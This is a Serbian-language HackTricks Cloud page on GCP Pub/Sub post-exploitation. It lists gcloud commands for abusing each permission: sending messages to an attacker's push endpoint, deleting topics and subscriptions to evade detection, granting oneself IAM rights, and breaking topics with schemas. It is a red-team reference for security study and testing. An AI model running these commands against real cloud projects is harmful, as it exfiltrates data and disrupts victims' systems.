GCP - Pub/Sub Post Exploatacija
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pub/Sub
Za više informacija o Pub/Sub, proverite sledeću stranicu:
pubsub.topics.publish
Objavite poruku u temi, korisno za slanje neočekivanih podataka i aktiviranje neočekivanih funkcionalnosti ili iskorišćavanje ranjivosti:
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"
pubsub.topics.detachSubscription
Koristan za sprečavanje pretplate da prima poruke, možda da bi se izbegla detekcija.
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
pubsub.topics.delete
Koristan za sprečavanje pretplate da prima poruke, možda da se izbegne otkrivanje.
Moguće je obrisati temu čak i sa pretplatama koje su joj pridružene.
gcloud pubsub topics delete <TOPIC NAME>
pubsub.topics.update
Koristite ovu dozvolu da ažurirate neka podešavanja teme kako biste je ometali, kao što su --clear-schema-settings
, --message-retention-duration
, --message-storage-policy-allowed-regions
, --schema
, --schema-project
, --topic-encryption-key
...
pubsub.topics.setIamPolicy
Dajte sebi dozvolu da izvršite bilo koji od prethodnih napada.
pubsub.subscriptions.create,
pubsub.topics.attachSubscription
, (pubsub.subscriptions.consume
)
Preuzmite sve poruke na veb serveru:
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
Kreirajte pretplatu i koristite je za povlačenje poruka:
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted
pubsub.subscriptions.delete
Brisanje pretplate može biti korisno za ometanje sistema za obradu logova ili nečega sličnog:
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
pubsub.subscriptions.update
Koristite ovu dozvolu da ažurirate neka podešavanja tako da se poruke čuvaju na mestu kojem možete pristupiti (URL, Big Query tabela, Bucket) ili samo da ih ometate.
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
pubsub.subscriptions.setIamPolicy
Dajte sebi dozvole potrebne za izvođenje bilo kojeg od prethodno komentisanih napada.
pubsub.schemas.attach
, pubsub.topics.update
,(pubsub.schemas.create
)
Napadnite šemu na temu tako da poruke ne ispunjavaju šemu i tako se tema ometa.
Ako nema šema, možda ćete morati da kreirate jednu.
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
pubsub.schemas.delete
Ovo može izgledati kao brisanje šeme, ali ćete moći slati poruke koje ne ispunjavaju šemu. Međutim, pošto će šema biti obrisana, nijedna poruka zapravo neće ući u temu. Dakle, ovo je BEZVREDNO:
gcloud pubsub schemas delete <SCHEMA NAME>
pubsub.schemas.setIamPolicy
Dajte sebi dozvole potrebne za izvođenje bilo kojeg od prethodno komentisanih napada.
pubsub.snapshots.create
, pubsub.snapshots.seek
Ovo će kreirati snimak svih neACKovanih poruka i vratiti ih u pretplatu. Nije baš korisno za napadača, ali evo:
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.